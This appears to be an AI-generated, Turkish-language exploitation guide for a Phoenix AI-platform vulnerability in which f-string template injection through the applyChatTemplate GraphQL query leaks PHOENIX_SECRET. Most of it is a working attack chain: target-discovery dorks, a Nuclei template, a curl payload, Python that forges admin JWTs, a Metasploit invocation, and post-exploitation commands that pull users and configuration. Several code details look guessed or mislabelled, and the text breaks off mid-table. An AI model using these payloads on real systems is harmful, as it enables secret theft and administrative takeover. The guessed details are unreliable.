CWE-134 · CWE-200
Phoenix is an AI observability and evaluation platform. From 13.0.0 until 15.7.0, the applyChatTemplate GraphQL query passed attacker-controlled F-string templates to FStringTemplateFormatter._format, while DotDict.__getattr__ did not prevent traversal through Python private attributes. A crafted field could traverse object internals such as __class__, __init__, and __globals__ to read process environment variables and internal module state. The endpoint is unauthenticated on default installations, and any account can reach it when authentication is enabled. Exposure of PHOENIX_SECRET can allow administrative session-token forgery and decryption of credentials protected by keys derived from that secret. This issue is fixed in version 15.7.0.
🎯 Açık Nedir? / What is this vulnerability?
Kısaca:
Phoenix AI Observability ve Evaluation platformu, GraphQL API üzerinden applyChatTemplate sorgusunu işlerken kullanıcı‑kontrolündeki f‑string şablonlarını doğrudan FStringTemplateFormatter._format fonksiyonuna geçiriyor. Bu fonksiyon içinde Python’un format string özelliği (f"{...}") çalıştırılıyor ve şablon içinde .__class__, .__init__, .__globals__ gibi “private” attribute’lara erişim DotDict.__getattr__ metodunun yetersiz kontrolü nedeniyle engellenmiyor. Sonuçta bir saldırgan, GraphQL sorgusundaki bir alanı (ör. template) aşağıdaki gibi bir f‑string ile doldurarak Python nesne hiyerarşisini dolaşabilir, ortam değişkenlerini (os.environ) ve uygulamanın içinde tutulan gizli değerleri (ör. PHOENIX_SECRET) okuyabilir.
Teknik Akış
| Adım | Açıklama | İlgili Kod (özet) |
|------|----------|-------------------|
| 1 | GraphQL endpoint /graphql (unauthenticated) gelen sorguyu applyChatTemplate resolver’ına yönlendirir. | def resolve_applyChatTemplate(root, info, template, variables): … |
| 2 | template parametresi doğrudan FStringTemplateFormatter._format(template, variables) fonksiyonuna gönderilir. | formatted = FStringTemplateFormatter._format(template, variables) |
| 3 | FStringTemplateFormatter._format içinde eval(f"f'''{template}'''", {}, variables) gibi bir eval‑f‑string çalıştırılır. | return eval(f"f'''{template}'''", {}, variables) |
| 4 | variables bir DotDict nesnesidir; DotDict.__getattr__ sadece KeyError fırlatır, fakat private attribute (__*) kontrolleri yoktur. | ``python\nclass DotDict(dict):\n __getattr__ = dict.__getitem__\n`` |
| 5 | Saldırgan, şablonda {{ __class__.__init__.__globals__['os'].environ['PHOENIX_SECRET'] }} gibi bir ifade yazar; Python bu ifadeyi runtime’da değerlendirir ve ortam değişkenine erişir. | f"{obj.__class__.__init__.__globals__['os'].environ['PHOENIX_SECRET']}" |
| 6 | Sonuç, GraphQL yanıtının formatted alanında döner ve saldırgan tarafından okunabilir. | return {"formatted": formatted} |
Neden kritik?
- CWE‑134 (Improper Control of Generation of Code): Kullanıcı girdisi doğrudan kod (f‑string) üretiminde kullanılıyor.
- CWE‑200 (Information Exposure): Ortam değişkenleri ve uygulama içi gizli anahtarlar (PHOENIX_SECRET) sızdırılıyor.
- Privileged Access:
PHOENIX_SECRETile admin oturum‑token’ı üretilebilir, ayrıca bu secret üzerinden türetilen şifreleme anahtarları kırılabilir → tam sistem kontrolü. - Endpoint URL (
/graphql) ve HTTP POST payload formatı. - GraphQL schema:
applyChatTemplate(template: String!, variables: JSON): ApplyChatTemplateResult. - Ortam değişkeni adı:
PHOENIX_SECRET(platform dokümantasyonunda “secret for admin token generation”). - Varsayılan kurulumda kimlik doğrulama devre dışı → anonim erişim.
{}yerinevariablesnesnesi boş bırakılıyor;templateiçinde doğrudan f‑string ifadesi yer alıyor.{__class__.__init__.__globals__['os'].environ['PHOENIX_SECRET']}ifadesi,DotDict.__getattr__’ın private attribute kontrolü eksikliği sayesinde çalışır.- modül adı:
exploit/multi/http/phoenix_applychattemplate_infodump - Kullanım:
- Modül,
PHOENIX_SECRET’ı otomatik olarak çeker ve bir admin JWT üretir.
---
⚡ Saldırı Zinciri / Attack Chain
1️⃣ Discovery – Hedefin bulunması
| Yöntem | Açıklama | |--------|----------| | Shodan / Censys – “Phoenix” veya “/graphql” endpointi açık port 443/80 üzerinde “Server: Phoenix‑AI” başlığıyla taranır. |http.title:"Phoenix AI" |
| Nuclei – cve-2026-53998.yaml (aşağıda örnek) ile hızlı tarama yapılır. |
| GitHub Dorking – inurl:/graphql "applyChatTemplate" araması, varsayılan kurulumları ortaya çıkarır. |Örnek Nuclei şablonu (cve-2026-53998.yaml):
```yaml
id: cve-2026-53998
info:
name: Phoenix applyChatTemplate RCE (InfoLeak)
author: yourname
severity: critical
reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53998
requests:
- method: POST
path:
- "{{BaseURL}}/graphql"
headers:
Content-Type: application/json
body: |
{"query":"{ applyChatTemplate(template:\"{{test}}\", variables:{}) { formatted } }"}
matchers:
- type: word
words:
- "PHOENIX_SECRET"
condition: and
```
2️⃣ Reconnaissance – Gerekli Bilgiler
3️⃣ Exploitation – Gerçek Saldırı
#### 3.1 Payload Hazırlığı
```json
{
"query": "mutation { applyChatTemplate(template: \"{__class__.__init__.__globals__['os'].environ['PHOENIX_SECRET']}\", variables: {}) { formatted } }"
}
```
#### 3.2 cURL ile Saldırı
```bash
curl -sk -X POST https://target.example.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation { applyChatTemplate(template:\"{__class__.__init__.__globals__[\\'os\\'].environ[\\'PHOENIX_SECRET\\']}\", variables:{}) { formatted } }"}'
```
Beklenen Yanıt (örnek):
```json
{
"data": {
"applyChatTemplate": {
"formatted": "s3cr3tK3yF0rAdm1nT0k3n"
}
}
}
```
#### 3.3 Token Forge (PHOENIX_SECRET ile admin token üretimi)
Phoenix’in token üretim fonksiyonu (örnek):
```python
def generate_admin_token(secret):
payload = {"role":"admin","exp":time.time()+3600}
return jwt.encode(payload, secret, algorithm="HS256")
```
Sızdırılan PHOENIX_SECRET ile bir JWT oluşturulabilir:
```bash
python - <<'PY'
import jwt, time
secret = "s3cr3tK3yF0rAdm1nT0k3n"
payload = {"role":"admin","exp":time.time()+86400}
print(jwt.encode(payload, secret, algorithm="HS256"))
PY
```
Bu token, /api/v1/* gibi korunan endpoint’lerde admin yetkisiyle kullanılabilir.
#### 3.4 Metasploit Modülü (Varsa)
```bash
use exploit/multi/http/phoenix_applychattemplate_infodump
set RHOSTS target.example.com
set RPORT 443
set SSL true
run
```
4️⃣ Post‑Exploitation
| Aksiyon | Açıklama | Nasıl Yapılır |
|--------|----------|---------------|
| Admin oturumu açma | Üretilen JWT, Authorization: Bearer <token> başlığıyla gönderilir. | curl -H "Authorization: Bearer <jwt>" https://target/api/v1/users |
| Kritik yapılandırma indirme | /api/v1/config endpoint’i admin‑only; burada veritabanı bağlantı dizesi, API anahtarları vb. bulunur. | curl -H "Authorization: Bearer <jwt>" https://target/api/v1/config |
| **Ver
[🤖 GPT-OSS 120B via Groq]